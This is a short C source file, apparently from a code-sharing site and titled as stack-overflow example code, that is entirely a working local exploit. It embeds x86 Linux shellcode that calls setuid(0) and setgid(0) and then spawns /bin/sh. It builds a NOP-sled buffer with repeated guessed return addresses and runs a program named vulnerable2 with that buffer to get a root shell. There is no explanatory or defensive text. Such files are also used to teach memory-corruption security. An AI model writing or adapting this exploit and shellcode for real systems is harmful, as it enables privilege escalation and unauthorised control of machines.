stackexploit2.c

来自「栈溢出源码」· C语言 代码 · 共 57 行

 
#include<stdio.h> 
#include<stdlib.h> 
#include<string.h> 

char shellcode[]= 
"\x31\xdb" 
"\x89\xd8" 
"\xb0\x17" 
"\xcd\x80" 
"\x31\xdb" 
"\x89\xd8" 
"\xb0\x17" 
"\xcd\x80" 
"\x31\xdb" 
"\x89\xd8" 
"\xb0\x2e" 
"\xcd\x80" 
"\x31\xc0" 
"\x50" 
"\x68\x2f\x2f\x73\x68" 
"\x68\x2f\x62\x69\x6e" 
"\x89\xe3" 
"\x50" 
"\x53" 
"\x89\xe1" 
"\x31\xd2" 
"\xb0\x0b" 
"\xcd\x80" 
"\x31\xdb" 
"\x89\xd8" 
"\xb0\x01" 
"\xcd\x80"; 



int main(int argc,char **argv){ 
   char buf[500]; 
   unsigned long ret,p; 
   int i; 

   p=&buf; 
   ret=p+70; 

   memset(buf,0x90,sizeof(buf)); 

   for(i=0;i<44;i+=4) 
      *(long *)&buf[i]=ret; 

   memcpy(buf+400+i,shellcode,strlen(shellcode)); 

   execl("./vulnerable2","vulnerable2",buf,NULL); 

   return 0; 
}